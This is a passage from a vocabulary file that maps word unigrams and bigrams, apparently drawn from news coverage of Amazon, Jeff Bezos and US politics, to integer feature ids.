"teacher strike": 160645, "catastrophic environmental": 160646, "dhs began": 160647, "concluded spokespeople": 160648, "strongly defended": 160649, "sodomy": 160650, "trump items": 160651, "ami knew": 160652, "western won": 160653, "american workforce": 160654, "packages claiming": 160655, "500 hires": 160656, "nicholas": 160657, "joseph joseph": 160658, "opponents feel": 160659, "rowdy protest": 160660, "paramount pictures": 160661, "workforce advisory": 160662, "good fight": 160663, "khanna fremont": 160664, "665mm": 160665, "idealogical diversity": 160666, "drugs chief": 160667, "public humiliation": 160668, "cavorting": 160669, "supremacists": 160670, "outdoors goods": 160671, "amazon needs": 160672, "equitable community": 160673, "sanders numerous": 160674, "becker dylan": 160675, "health ranger": 160676, "pilgrimage california": 160677, "redistricting harry": 160678, "easley senior": 160679, "st basil": 160680, "reconcile": 160681, "rappler": 160682, "care business": 160683, "sources spokesman": 160684, "charts cdc_5ce292595c0ee1373097e27d_embed": 160685, "neighborhood amazon": 160686, "deal arguing": 160687, "just keeps": 160688, "tong": 160689, "pushing nude": 160690, "allen team": 160691, "seller services": 160692, "losing faith": 160693, "moisture": 160694, "rating currently": 160695, "revenue usps": 160696, "getty photos": 160697, "chipotle": 160698, "justice commerce": 160699, "cringely": 160700, "twee": 160701, "suspicious packages": 160702, "starting blue": 160703, "ferocious": 160704, "goods retailer": 160705, "partner stamps": 160706, "better infrastructure": 160707, "twelfth consecutive": 160708, "oil near": 160709, "width 780": 160710, "finally getting": 160711, "capitol building": 160712, "recommended raising": 160713, "demands scarborough": 160714, "redevelopment": 160715, "brightest minds": 160716, "brazil colombia": 160717, "start creating": 160718, "andyou saw": 160719, "existing leadership": 160720, "preliminary basis": 160721, "amazon lore": 160722, "amazon fired": 160723, "pick yourterm": 160724, "historic turn": 160725, "disproportionately": 160726, "order dispensing": 160727, "wisconsin gop": 160728, "largest manufacturer": 160729, "footwear": 160730, "solace": 160731, "months away": 160732, "trs0 _nkw": 160733, "trust owns": 160734, "company growing": 160735, "individual advice": 160736, "channels": 160737, "working hard": 160738, "unavailable forcing": 160739, "immediately reply": 160740, "transport charges": 160741, "members questions": 160742, "academy mgmt": 160743, "driver shot": 160744, "president pressure": 160745, "workers hourly": 160746, "abuse crony": 160747, "youth bake": 160748, "siri": 160749, "trump china": 160750, "court kyl": 160751, "pretty early": 160752, "lying coming": 160753, "perceived anti": 160754, "amazon provide": 160755, "instances dating": 160756, "simple win": 160757, "individual stocks": 160758, "published weekday": 160759, "keyboard": 160760, "lockport": 160761, "blackburn tennessee": 160762, "claims does": 160763, "department saying": 160764, "cristian": 160765, "current stock": 160766, "reflected feelgoods": 160767, "away smith": 160768, "ceramic read": 160769, "pay checked": 160770, "year investigation": 160771, "mobil corp": 160772, "fraudulently": 160773, "1q": 160774, "failing company": 160775, "creates 000": 160776, "just small": 160777, "little doubt": 160778, "catfish": 160779, "trump greenberg": 160780, "misleading posts": 160781, "hobbs": 160782, "scuffle": 160783, "nerve bezos": 160784, "economy strengthened": 160785, "limited owns": 160786, "absurdity": 160787, "thriller atria": 160788, "historical cah": 160789, "school authorities": 160790, "government embedded": 160791, "sullivan wapo": 160792, "service loses": 160793, "1995 amazon": 160794, "2013 news": 160795, "citigroup jp": 160796, "schatz news": 160797, "fashion prompting": 160798, "lmpressive": 160799, "strained trading": 160800, "hardly filled": 160801, "special warn": 160802, "held events": 160803, "want governor": 160804, "forums making": 160805, "8217 canadian": 160806, "regain": 160807, "daily discourse": 160808, "wilkes": 160809, "note bezos": 160810, "prices need": 160811, "lunar surface": 160812, "830": 160813, "mock man": 160814, "greed extortion": 160815, "hollywood reputation": 160816, "567k": 160817, "abc news": 160818, "2018 kind": 160819, "doesn require": 160820, "allen weisselberg": 160821, "won vote": 160822, "t000023123": 160823, "won ban": 160824, "shift things": 160825, "online bookseller": 160826, "international lead": 160827, "erodes public": 160828, "combative relationship": 160829, "considerable market": 160830, "unclear zinke": 160831, "invest tremendous": 160832, "rowdy": 160833, "triggered federal": 160834, "voor je": 160835, "dawns": 160836, "improvised explosive": 160837, "enquirer attorney": 160838, "office gives": 160839, "telling audiences": 160840, "safety risks": 160841, "killer 2018": 160842, "prioritize negative": 160843, "group tax": 160844, "hungary including": 160845, "mini version": 160846, "announced mayor": 160847, "questions shares": 160848, "mod article_inline": 160849, "boss doesn": 160850, "biomes": 160851, "echo health": 160852, "ordo\u00f1ez": 160853, "little companies": 160854, "separately": 160855, "smackdown": 160856, "recent speech": 160857, "highly competitive": 160858, "causing inequality": 160859, "128gb": 160860, "cases saw": 160861, "979 billion": 160862, "outranks": 160863, "outdated policies": 160864, "zealand town": 160865, "goods worth": 160866, "fair price": 160867, "unbecoming margery": 160868, "gao explains": 160869, "issues expected": 160870, "best book": 160871, "losers": 160872, "subscription boxes": 160873, "finagling": 160874, "concerns sinclair": 160875, "brilliant detective": 160876, "taxes insurance": 160877, "minimal reporting": 160878, "senior insiders": 160879, "men writes": 160880, "floridahealth gov": 160881, "spans lake": 160882, "grew slower": 160883, "afghan war": 160884, "heffx holds": 160885, "unsuccessfully opposed": 160886, "familiar phrase": 160887, "really difficult": 160888, "rejected maxsa": 160889, "competition heavy": 160890, "advantage forbesbooks": 160891, "amid fallout": 160892, "company plot": 160893, "mover": 160894, "bezos probably": 160895, "ground amazon": 160896, "president unwillingness": 160897, "contrarians": 160898, "linskey": 160899, "waffling answers": 160900, "workforce training": 160901, "senior national": 160902, "antitrust charges": 160903, "jeffrey reynolds": 160904, "tech centric": 160905, "ideology environment": 160906, "investigating democrats": 160907, "manager amazon": 160908, "stephen ansolabehere": 160909, "iraqi": 160910, "republican contributions": 160911, "goofy pair": 160912, "prosecutors examined": 160913, "greed notable": 160914, "making aramco": 160915, "mcdaniel release": 160916, "scrap": 160917, "home category": 160918, "absorbed blistering": 160919, "cellphone upgrade": 160920, "amazon typically": 160921, "aide": 160922, "mounting toll": 160923, "shipping price": 160924, "year stephenson": 160925, "service jeff": 160926, "government ent": 160927, "fake cnn": 160928, "strategically": 160929, "trump losses": 160930, "astros": 160931, "charge consumers": 160932, "medium blog": 160933, "status 1018939686121861120": 160934, "additional round": 160935, "residue": 160936, "storyteller accent": 160937, "usaid": 160938, "tannen": 160939, "unknown right": 160940, "ago marlins": 160941, "resulting": 160942, "individuals challenging": 160943, "awake": 160944, "education says": 160945, "history just": 160946, "blame president": 160947, "prime hour": 160948, "condemnation having": 160949, "turned negative": 160950, "outdated computers": 160951, "regulatory state": 160952, "court ruling": 160953, "man trump": 160954, "display stand": 160955, "cloudfront net": 160956, "sadler added": 160957, "associates question": 160958, "based singer": 160959, "amazon page": 160960, "amazon challenge": 160961, "americans amidst": 160962, "different business": 160963, "york executive": 160964, "ecl segall": 160965, "limited united": 160966, "cortana simultaneously": 160967, "pulls investment": 160968, "leadership team": 160969, "story look": 160970, "dsp": 160971, "hashtag amazonwashingtonpost": 160972, "545": 160973, "radicalized son": 160974, "lived opportunity": 160975, "oil business": 160976, "leads right": 160977, "videotape rahel": 160978, "2017 puts": 160979, "avod space": 160980, "false indicatorstoggle": 160981, "vocal critic": 160982, "eu complaint": 160983, "priority mail": 160984, "analysts led": 160985, "chicago mayor": 160986, "threats 2018": 160987, "foreign 1b": 160988, "zones": 160989, "price trump": 160990, "trump clearly": 160991, "twitter suspended": 160992, "permission declared": 160993, "deliver campaign": 160994, "targeting syrian": 160995, "include structural": 160996, "alina selyukh": 160997, "different ecommerce": 160998, "want multiple": 160999, "tweeting habits": 161000, "taxpayer subsidized": 161001, "bezos lawyer": 161002, "deep value": 161003, "development told": 161004, "trees mean": 161005, "submit workplace": 161006, "n8 la": 161007, "d\u00e9cor sporting": 161008, "metro manila": 161009, "considering action": 161010, "address concerns": 161011, "immersive distraction": 161012, "help fulfill": 161013, "blind trust": 161014, "image source": 161015, "ricin letter": 161016, "famous dad": 161017, "toronto typically": 161018, "twitch channel": 161019, "profile hasn": 161020, "fed james": 161021, "video__end": 161022, "100 frameheight": 161023, "free easy": 161024, "frequently attacking": 161025, "minded administration": 161026, "manual recount": 161027, "markupid autostartvideo": 161028, "strong offline": 161029, "anti celebrity": 161030, "series sees": 161031, "partisan center": 161032, "media dan": 161033, "superpower": 161034, "sec valicenti": 161035, "categories milk": 161036, "verifies": 161037, "jacksonville": 161038, "ske": 161039, "caucus trump": 161040, "nuts": 161041, "leader events": 161042, "wi": 161043, "security forum": 161044, "lehrer right": 161045, "amalgamation": 161046, "maker product": 161047, "california smoke": 161048, "travel travelist": 161049, "ordinary citizen": 161050, "sea bezos": 161051, "entertainment": 161052, "attitudes": 161053, "nuke deal": 161054, "corporate giant": 161055, "young mark": 161056, "mick": 161057, "pissing": 161058, "world wine": 161059, "isn super": 161060, "employees asked": 161061, "ursula": 161062, "wash slave": 161063, "serving democratic": 161064, "mayor alicia": 161065, "visible transparent": 161066, "ceo role": 161067, "2016 bid": 161068, "plaats bij": 161069, "dire need": 161070, "small piece": 161071, "fucking": 161072, "colbert joked": 161073, "business sourcelink": 161074, "executives sit": 161075, "usa senior": 161076, "2019 cont": 161077, "tweet storm": 161078, "guesswork based": 161079, "great foreign": 161080, "shaped": 161081, "cha cha": 161082, "reaganbattalion": 161083, "daimler shares": 161084, "smith ian": 161085, "disclosed aws": 161086, "performance officer": 161087, "drop read": 161088, "reconstruction": 161089, "major tax": 161090, "documents related": 161091, "business health": 161092, "approvals process": 161093, "common types": 161094, "share bought": 161095, "blaise kidasharira": 161096, "daytime runnings": 161097, "provided indirect": 161098, "potentially positive": 161099, "policy rates": 161100, "vampire squids": 161101, "northumbria university": 161102, "breaks essentially": 161103, "unemployment crime": 161104, "agencies using": 161105, "calls immigrants": 161106, "networks enhances": 161107, "clark emailed": 161108, "racing film": 161109, "new 119": 161110, "investigating uranium": 161111, "big step": 161112, "rethought": 161113, "goldberg died": 161114, "liberal causes": 161115, "supported politicians": 161116, "stores especially": 161117, "nsa": 161118, "ariz nearly": 161119, "fixation": 161120, "talks ocean": 161121, "johnmcdonnellmp": 161122, "sanitation": 161123, "raise package": 161124, "significant": 161125, "disclosed": 161126, "trump mulls": 161127, "identify changes": 161128, "precise locations": 161129, "abraham": 161130, "esoteric": 161131, "browder putin": 161132, "land clearing": 161133, "tropics": 161134, "jupiter": 161135, "keeps cashing": 161136, "imprecise": 161137, "149": 161138, "96th closed": 161139, "including enrolling": 161140, "lp": 161141, "rubenstein bezos": 161142, "nicole darrah": 161143, "long war": 161144, "108 billion": 161145, "hand man": 161146, "wien": 161147, "bochy career": 161148, "jacobs senior": 161149, "technology writers": 161150, "tapping": 161151, "schism": 161152, "pecker donald": 161153, "mycolleague alison": 161154, "website says": 161155, "lynn elber": 161156, "nation seats": 161157, "remained solidly": 161158, "gertz mattgertz": 161159, "don matter": 161160, "tissue ingredients": 161161, "om malik": 161162, "best damn": 161163, "public high": 161164, "waterfront ferry": 161165, "reign": 161166, "hire investigators": 161167, "believe bezos": 161168, "walmart territory": 161169, "current investigation": 161170, "numerous demands": 161171, "illustration": 161172, "soak": 161173, "cnn amazon": 161174, "fierce competitive": 161175, "order sets": 161176, "gray suit": 161177, "numerous indigenous": 161178, "moving trampoline": 161179, "cuts": 161180, "justices impartiality": 161181, "ceo daniel": 161182, "stop political": 161183, "include wallbridge": 161184, "demand amid": 161185, "o1 a4ee": 161186, "message landed": 161187, "states main": 161188, "clear contempt": 161189, "nonunion workers": 161190, "attorney rudy": 161191, "bulk sales": 161192, "trump followers": 161193, "etailer": 161194, "informed public": 161195, "immigrants new": 161196, "resurgence despite": 161197, "reuters points": 161198, "state trooper": 161199, "dirty war": 161200, "voters asking": 161201, "exchange ami": 161202, "choosing toronto": 161203, "producers": 161204, "haven mom": 161205, "riverdale netflix": 161206, "bezos strikes": 161207, "claims telling": 161208, "2024 reports": 161209, "crews dig": 161210, "road projects": 161211, "family used": 161212, "reported better": 161213, "stream yankees": 161214, "profits drop": 161215, "shopping cart": 161216, "giants following": 161217, "accurate democratic": 161218, "pune ashram": 161219, "apparent allegation": 161220, "2018 andy": 161221, "chinese jobs": 161222, "based war": 161223, "search 238": 161224, "state law": 161225, "helping create": 161226, "rekognition program": 161227, "franklin stephen": 161228, "therussian": 161229, "reporters committee": 161230, "q2 2019": 161231, "simply tissue": 161232, "minister malcolm": 161233, "dirty work": 161234, "sound choices": 161235, "operatives ami": 161236, "process president": 161237, "stock trading": 161238, "1549579861000": 161239, "collect": 161240, "spectrum president": 161241, "self proclaimed": 161242, "corporate advantage": 161243, "really fought": 161244, "boe released": 161245, "claims calling": 161246, "takes effect": 161247, "strong competition": 161248, "videocardcontents getcurrentvideocardcontents": 161249, "d4a": 161250, "billion investment": 161251, "spot amazon": 161252, "hardball pair": 161253, "grossman": 161254, "raises dividend": 161255, "ago ge": 161256, "divisive personal": 161257, "kudlow photo": 161258, "make computer": 161259, "innovation district": 161260, "flys": 161261, "oks disaster": 161262, "wider swath": 161263, "ives": 161264, "people did": 161265, "instinet": 161266, "bathroom policy": 161267, "southeast memphis": 161268, "000 points": 161269, "blocks": 161270, "director russell": 161271, "jeff vice": 161272, "getting freaked": 161273, "prior read": 161274, "kunal": 161275, "charges louisiana": 161276, "state used": 161277, "stardom": 161278, "times notably": 161279, "rubbish": 161280, "younger bush": 161281, "law doj": 161282, "entry died": 161283, "reported profits": 161284, "book focuses": 161285, "current market": 161286, "economy amazon": 161287, "times says": 161288, "user information": 161289, "garnered plenty": 161290, "accounts according": 161291, "forward brian": 161292, "column burroughs": 161293, "amber": 161294, "turned collaborator": 161295, "amazon polly": 161296, "popular politician": 161297, "face unique": 161298, "past finds": 161299, "famously frugal": 161300, "networking switches": 161301, "undeterred sanders": 161302, "lawyer comments": 161303, "bezos totally": 161304, "illegal state": 161305, "series scrutinizing": 161306, "da jim": 161307, "documents appear": 161308, "ongoing tweets": 161309, "troves": 161310, "story including": 161311, "lgbtq communities": 161312, "plumbed": 161313, "dear tech": 161314, "making little": 161315, "house foreign": 161316, "embarrassing": 161317, "locates": 161318, "particularly fair": 161319, "sanctions reimposed": 161320, "iowans": 161321, "unarmed friend": 161322, "usps pricing": 161323, "appropriate according": 161324, "activity including": 161325, "making disastrous": 161326, "studiom": 161327, "york department": 161328, "asc services": 161329, "wrong sports": 161330, "quarshie": 161331, "mercosur south": 161332, "months ibd": 161333, "fy17 results": 161334, "sourcebusiness insider": 161335, "receive sanders": 161336, "merck research": 161337, "resolving conflict": 161338, "levy owns": 161339, "originators": 161340, "intersectionality": 161341, "western massachusetts": 161342, "jokes rachel": 161343, "captures videos": 161344, "shown stamina": 161345, "disinformation extremism": 161346, "formula hasn": 161347, "new flight": 161348, "enlist regional": 161349, "roots amid": 161350, "reflexively backing": 161351, "gordon": 161352, "conducted": 161353, "thorny": 161354, "crain children": 161355, "business successes": 161356, "new population": 161357, "widowed": 161358, "removed legal": 161359, "morgan stanley": 161360, "4c11b827 dc2b": 161361, "forefront": 161362, "lot john": 161363, "1st district": 161364, "making icann": 161365, "value exchanges": 161366, "dunn forwarded": 161367, "statements make": 161368, "function l9x": 161369, "sul": 161370, "shy": 161371, "remained": 161372, "osteen talk": 161373, "amazon bridge": 161374, "using intimate": 161375, "nashville letter": 161376, "texas author": 161377, "lc bluefin": 161378, "algorithm undermining": 161379, "america high": 161380, "euro possibility": 161381, "care obligations": 161382, "aerospace commerce": 161383, "trashing": 161384, "arabian": 161385, "president hotel": 161386, "delivery technologies": 161387, "vaccination videos": 161388, "london england": 161389, "looks pretty": 161390, "key policy": 161391, "son andrej": 161392, "rosenberg tx": 161393, "introduced lockheed": 161394, "lamb": 161395, "tennis": 161396, "2rqdhqz": 161397, "idiq contract": 161398, "pecker regularly": 161399, "operations told": 161400, "posting billions": 161401, "hearing senator": 161402, "help working": 161403, "investigate topics": 161404, "210 billion": 161405, "increasingly fast": 161406, "exponential": 161407, "include products": 161408, "promote sales": 161409, "cringed": 161410, "final pitches": 161411, "exposure": 161412, "makela": 161413, "rules fee": 161414, "uncontainable": 161415, "recurring theme": 161416, "episode parting": 161417, "moderate attempting": 161418, "shoe stores": 161419, "amendment dreamer": 161420, "patchett": 161421, "237": 161422, "launch quarter": 161423, "positive persona": 161424, "female board": 161425, "rebuilding posted": 161426, "icon lauren": 161427, "federal crime": 161428, "navinfo ranked": 161429, "region wasn": 161430, "memorial wikileaks": 161431, "etsy declined": 161432, "job": 161433, "misses opportunity": 161434, "delrahim": 161435, "westover check": 161436, "election impact": 161437, "sanders veterans": 161438, "financier george": 161439, "music perception": 161440, "needs utilizing": 161441, "competition policy": 161442, "carriers dropping": 161443, "size cities": 161444, "attain political": 161445, "irs refunds": 161446, "mainstream political": 161447, "abuse children": 161448, "tara westover": 161449, "stylized reconstructed": 161450, "carley shimkus": 161451, "burnadette": 161452, "labarbera": 161453, "a380 backlog": 161454, "bezos outfitted": 161455, "scot": 161456, "country yes": 161457, "ago hard": 161458, "legal woes": 161459, "overlapping": 161460, "state bakersfield": 161461, "individuals mary": 161462, "amazon deserves": 161463, "infrastructure rebuilding": 161464, "struck": 161465, "segment parcels": 161466, "alex moffat": 161467, "discretionary giant": 161468, "carolecadwalla": 161469, "sent word": 161470, "season siddiqui": 161471, "aafa specifically": 161472, "increased tariffs": 161473, "city lawmakers": 161474, "quarterly report": 161475, "mattingly": 161476, "declined ami": 161477, "spectrum including": 161478, "improvement district": 161479, "wildenstein18 jan": 161480, "journalistic privileges": 161481, "di": 161482, "security grounds": 161483, "earnings net": 161484, "pushed etsy": 161485, "trump taunts": 161486, "claire atkinson": 161487, "employees describing": 161488, "icymi reporter": 161489, "exit divides": 161490, "local dignitaries": 161491, "know people": 161492, "various trump": 161493, "large anti": 161494, "suspected sanchez": 161495, "picture galleries": 161496, "vernon amazon": 161497, "media libtards": 161498, "neighbors senator": 161499, "times takes": 161500, "regulators think": 161501, "seattle covered": 161502, "reported hudson": 161503, "uranium miners": 161504, "forests illegal": 161505, "people greeter": 161506, "people care": 161507, "kindle devices": 161508, "amazon vestager": 161509, "seasonal associates": 161510, "technology contracts": 161511, "540 million": 161512, "resettle refugee": 161513, "talks calls": 161514, "petrillo reports": 161515, "pocket knife": 161516, "google assistant": 161517, "source hk": 161518, "fiction share": 161519, "accused jeff": 161520, "designer": 161521, "cloud technologies": 161522, "innovations": 161523, "postcards": 161524, "expressing puzzlement": 161525, "adolescence releases": 161526, "new breed": 161527, "amazon showing": 161528, "job clearly": 161529, "fresh questions": 161530, "novelist holds": 161531, "tag included": 161532, "threw party": 161533, "amazon algorithms": 161534, "jared golden": 161535, "eaten": 161536, "annually estimate": 161537, "proposal unveiled": 161538, "datecreated videocardcontents": 161539, "roseanne barr": 161540, "goggin": 161541, "badger state": 161542, "saying education": 161543, "luke perry": 161544, "state post": 161545, "nature says": 161546, "warehouses protests": 161547, "post natural": 161548, "councilman vallone": 161549, "329": 161550, "parent open": 161551, "peril trump": 161552, "unilateral disarmament": 161553, "merger citing": 161554, "forest cover": 161555, "far walmart": 161556, "protesters spray": 161557, "cut antibiotics": 161558, "answers george": 161559, "family treachery": 161560, "digital travelex": 161561, "fatty": 161562, "accusing weinstein": 161563, "trump repeated": 161564, "society economy": 161565, "president justin": 161566, "relocation insiders": 161567, "100 innovative": 161568, "mythical": 161569, "provocateur nicolas": 161570, "joshua killer": 161571, "ongoing war": 161572, "villa high": 161573, "publication bezos": 161574, "deregulation": 161575, "frei": 161576, "recent media": 161577, "arrest trump": 161578, "trump upends": 161579, "post wasreporting": 161580, "toso asserted": 161581, "cristina uma\u00f1a": 161582, "cbre ranks": 161583, "independent senator": 161584, "abortions news": 161585, "rancor": 161586, "lead amazon": 161587, "tweeting basis": 161588, "intense public": 161589, "clout shows": 161590, "improves": 161591, "shares west": 161592, "dimon": 161593, "promo code": 161594, "tv farewell": 161595, "ex soldier": 161596, "statement thank": 161597, "status": 161598, "door policy": 161599, "guys watch": 161600, "switzerland combined": 161601, "nation newspaper": 161602, "exonerated": 161603, "sharing payments": 161604, "144": 161605, "tubman": 161606, "regulatory cornerstones": 161607, "clown jeffbozo": 161608, "chubb dispatch": 161609, "seeing incentives": 161610, "firm occurred": 161611, "actually worth": 161612, "facing vocal": 161613, "huge wine": 161614, "retail aafa": 161615, "voracious": 161616, "anchor named": 161617, "news cycles": 161618, "open free": 161619, "nextshark": 161620, "donate": 161621, "monsters": 161622, "googles": 161623, "estimated net": 161624, "bloodying actual": 161625, "adler amie": 161626, "defending freedom": 161627, "designated crossings": 161628, "disgusting": 161629, "chronicle": 161630, "long considered": 161631, "signify similar": 161632, "companies collaboration": 161633, "trc0 a0": 161634, "scary tales": 161635, "corresponding": 161636, "large amounts": 161637, "group friends": 161638, "party candidate": 161639, "today tabloids": 161640, "special prosecutor": 161641, "joining politico": 161642, "vegan appeared": 161643, "institutional": 161644, "humiliating trump": 161645, "155 billion": 161646, "empowered women": 161647, "elsea fine": 161648, "iq games": 161649, "newsgathering really": 161650, "overt indifference": 161651, "eps 84c": 161652, "threatening democracy": 161653, "protect bezos": 161654, "fashion business": 161655, "deploy payloads": 161656, "lore strongly": 161657, "usually falls": 161658, "pioneer square": 161659, "2019 recommended": 161660, "lahood": 161661, "devices according": 161662, "matteo salvini": 161663, "sandal": 161664, "attendees according": 161665, "committee members": 161666, "news south": 161667, "america attitudes": 161668, "trump trying": 161669, "facebook according": 161670, "reader david": 161671, "surrounding caravans": 161672, "colonial incursions": 161673, "public offer": 161674, "west thirtieth": 161675, "clout": 161676, "cloud steering": 161677, "ranging interview": 161678, "levy sales": 161679, "elstree studios": 161680, "operates independently": 161681, "york writer": 161682, "horton": 161683, "incursion": 161684, "mile carriers": 161685, "platforms instead": 161686, "nextplay undefined": 161687, "jeffersongraham": 161688, "mid summer": 161689, "square kilometer": 161690, "nailed": 161691, "plastic bags": 161692, "erica": 161693, "georgia woman": 161694, "ohio wisconsin": 161695, "complicates managerial": 161696, "long scheme": 161697, "mccain think": 161698, "intensely competitive": 161699, "epic predicament": 161700, "commence criminal": 161701, "media columnist": 161702, "margin opportunities": 161703, "450 884": 161704, "successful owners": 161705, "secretly": 161706, "global union": 161707, "monthslong lobbying": 161708, "mcgrath compelling": 161709, "clobbered": 161710, "caused tremendous": 161711, "allied": 161712, "kept house": 161713, "antitrust watchdogs": 161714, "sent 435": 161715, "accept president": 161716, "cast share": 161717, "krugman charge": 161718, "stuff ergo": 161719, "conspicuous": 161720, "unlike fedex": 161721, "categorized": 161722, "bezos similarly": 161723, "moved fast": 161724, "google antitrust": 161725, "ubiquitous alexa": 161726, "bmw daimler": 161727, "techlash": 161728, "horsepower": 161729, "party heading": 161730, "destination singh": 161731, "invoices stating": 161732, "delayed safety": 161733, "theory saying": 161734, "area lanzatech": 161735, "griffeth flying": 161736, "best board": 161737, "contains detailed": 161738, "portfolio 623": 161739, "amazon actions": 161740, "told npr": 161741, "fr fortune": 161742, "mueller house": 161743, "washington google": 161744, "ciecko": 161745, "matter custody": 161746, "business posted": 161747, "conspiracy minded": 161748, "immaculate": 161749, "231": 161750, "cia lead": 161751, "deriving stand": 161752, "trump comment": 161753, "fund manager": 161754, "taxes billionaire": 161755, "owned distribution": 161756, "company approach": 161757, "potential failure": 161758, "000 members": 161759, "rogue river": 161760, "foto screenshot": 161761, "1543527677 mod": 161762, "dickerson future": 161763, "nightcrawler set": 161764, "249 649": 161765, "couldn match": 161766, "shares national": 161767, "ads thebradblog": 161768, "killing animals": 161769, "louisiana abortion": 161770, "president minutes": 161771, "trump inaugural": 161772, "startup service": 161773, "make things": 161774, "hat online": 161775, "highlights challenge": 161776, "traded exact": 161777, "sourceassociated": 161778, "moz": 161779, "series versus": 161780, "neighborhood dave": 161781, "books amazon": 161782, "order ships": 161783, "innovation exchange": 161784, "supposedly unwritten": 161785, "nasdaq yields": 161786, "countless individual": 161787, "support children": 161788, "trump meme": 161789, "prosecute immigration": 161790, "er poor": 161791, "inmates": 161792, "advsr invested": 161793, "figure memoir": 161794, "disclosure sap": 161795, "booths": 161796, "review ordered": 161797, "visit feds": 161798, "drop package": 161799, "relatively minor": 161800, "hits pay": 161801, "million products": 161802, "foreclose competition": 161803, "republicans fail": 161804, "airport getting": 161805, "ahmad": 161806, "168 million": 161807, "brian babcock": 161808, "exaggerate trump": 161809, "laurene steve": 161810, "broader concerns": 161811, "shaping": 161812, "ran bezos": 161813, "andrewmccabe breaks": 161814, "movetonexttimeout": 161815, "report president": 161816, "business problems": 161817, "pages bezos": 161818, "fulfillment workers": 161819, "past ideological": 161820, "home poverty": 161821, "chicago location": 161822, "spoke anonymously": 161823, "additional overtime": 161824, "2012": 161825, "terra": 161826, "long letter": 161827, "late fox": 161828, "joined twitter": 161829, "stark terms": 161830, "impose fine": 161831, "newspaper claims": 161832, "usual route": 161833, "times plate": 161834, "socialist equality": 161835, "low immigration": 161836, "patti": 161837, "freeman": 161838, "incentives pat": 161839, "central theme": 161840, "trump hollywood": 161841, "troll trump": 161842, "sketch finishes": 161843, "indicated tax": 161844, "fund vet": 161845, "tiny electronics": 161846, "old cell": 161847, "tree canopy": 161848, "people attending": 161849, "fossil digs": 161850, "indiscretions": 161851, "adaptability": 161852, "disclosing ico": 161853, "earth approach": 161854, "seen big": 161855, "tweeted endorsements": 161856, "ongoing ip": 161857, "occupy": 161858, "drive counterfeits": 161859, "order ahead": 161860, "status 1014146196342898688": 161861, "840 000": 161862, "jumps nvidia": 161863, "cushman wakefield": 161864, "month protesting": 161865, "mp matt": 161866, "eurovision": 161867, "uncomfy stuff": 161868, "function initialize": 161869, "concluded embedded": 161870, "starting": 161871, "states entertainment": 161872, "snag amazon": 161873, "ellison addresses": 161874, "big night": 161875, "lawmakers briefed": 161876, "kyle": 161877, "amid conflict": 161878, "leaders new": 161879, "air dec": 161880, "base emanuel": 161881, "greenwich": 161882, "bezos recognised": 161883, "negative portrayals": 161884, "story christmas": 161885, "wpl1cux1dn": 161886, "renounce": 161887, "judgments": 161888, "spat workers": 161889, "company costs": 161890, "unsubstantiated rumors": 161891, "minaj": 161892, "local voices": 161893, "penchant": 161894, "individualism": 161895, "flipping": 161896, "noses": 161897, "tennessee carjacker": 161898, "directors bisbee": 161899, "standard hours": 161900, "current average": 161901, "committee ogr": 161902, "headquarters near": 161903, "senator kaminsky": 161904, "dominic": 161905, "community college": 161906, "bezos distaste": 161907, "israel activist": 161908, "bolt ya": 161909, "speak freely": 161910, "united delivery": 161911, "film ydanis": 161912, "seek longer": 161913, "services visit": 161914, "does raise": 161915, "takes questions": 161916, "architect temporary": 161917, "retailers gear": 161918, "service deal": 161919, "stops running": 161920, "council deputy": 161921, "companies research": 161922, "africa petrol": 161923, "extortion decided": 161924, "avenue gonna": 161925, "suffered convulsions": 161926, "written independently": 161927, "markgongloff": 161928, "189": 161929, "public threat": 161930, "moscow readiness": 161931, "practices began": 161932, "vote showed": 161933, "revenue according": 161934, "need construction": 161935, "jobs versus": 161936, "giving bezos": 161937, "bashing corporations": 161938, "walmart creeps": 161939, "sam fred": 161940, "sector note": 161941, "crash amazon": 161942, "heavy industries": 161943, "importantly amazon": 161944, "fortune magazine": 161945, "1990s including": 161946, "traditional bidding": 161947, "reserve amazon": 161948, "conway remarks": 161949, "column region": 161950, "145 words": 161951, "hashmi": 161952, "foldable smartphone": 161953, "story charges": 161954, "defensive moat": 161955, "semtimetr": 161956, "environmental justice": 161957, "ecommerce sales": 161958, "coldly": 161959, "tax exemption": 161960, "mean people": 161961, "really worry": 161962, "donating record": 161963, "lowly rated": 161964, "certain politicians": 161965, "aggressive coverage": 161966, "randolph": 161967, "republicans ntia": 161968, "blip": 161969, "years recounted": 161970, "cart button": 161971, "citing michael": 161972, "characters trading": 161973, "tech technology": 161974, "shoppers doorsteps": 161975, "actually openly": 161976, "kernersville site": 161977, "xml videoleafurl": 161978, "company earnings": 161979, "geeky seattle": 161980, "foodways kcrw": 161981, "joined nfbk": 161982, "taking tuition": 161983, "fortune count": 161984, "null commentcount": 161985, "costs nearly": 161986, "newsprint deforestation": 161987, "legal troubles": 161988, "metrics": 161989, "proposing agribusiness": 161990, "office park": 161991, "vulnerable families": 161992, "event despite": 161993, "building searchable": 161994, "sure look": 161995, "size medium": 161996, "becky lynch": 161997, "conley amazon": 161998, "wikileaks secretly": 161999, "packages analysts": 162000, "presidents st": 162001, "hour lookback": 162002, "pentagon disclosed": 162003, "launched living": 162004, "heaping": 162005, "increasingly politicized": 162006, "traveling traveler": 162007, "carlson piled": 162008, "interview karen": 162009, "shortly stated": 162010, "china updates": 162011, "survivor journey": 162012, "reddit ama": 162013, "unfortunately amazon": 162014, "existential threats": 162015, "anthony scaramucci": 162016, "current trends": 162017, "just need": 162018, "matthew choi": 162019, "norma": 162020, "liking": 162021, "supply rightly": 162022, "exclusive members": 162023, "program career": 162024, "auto tariffs": 162025, "wasn ttrolling": 162026, "daily coverage": 162027, "ruin brazil": 162028, "interview ohio": 162029, "nearest": 162030, "size drove": 162031, "smocking": 162032, "alleges": 162033, "backed better": 162034, "depression speak": 162035, "cynthia": 162036, "commercial products": 162037, "expected divorce": 162038, "trump mccabe": 162039, "competitor brands": 162040, "tones": 162041, "rates donald": 162042, "union concerning": 162043, "inc_feature_image_style": 162044, "washington misdeeds": 162045, "pf_rd_m atvpdkikx0der": 162046, "cinematic career": 162047, "shouraboura impinj": 162048, "human son": 162049, "hairy": 162050, "season maybe": 162051, "unsaid": 162052, "taking billion": 162053, "ma owns": 162054, "passes spending": 162055, "provide companies": 162056, "visitors centre": 162057, "sells plenty": 162058, "sells directly": 162059, "ami claims": 162060, "bork redefined": 162061, "innovative growth": 162062, "hey taylor": 162063, "charge twitter": 162064, "cypress management": 162065, "amazon hurts": 162066, "korea rocket": 162067, "briscobrands clothing": 162068, "packages starting": 162069, "abridged": 162070, "larger amazon": 162071, "house bjarke": 162072, 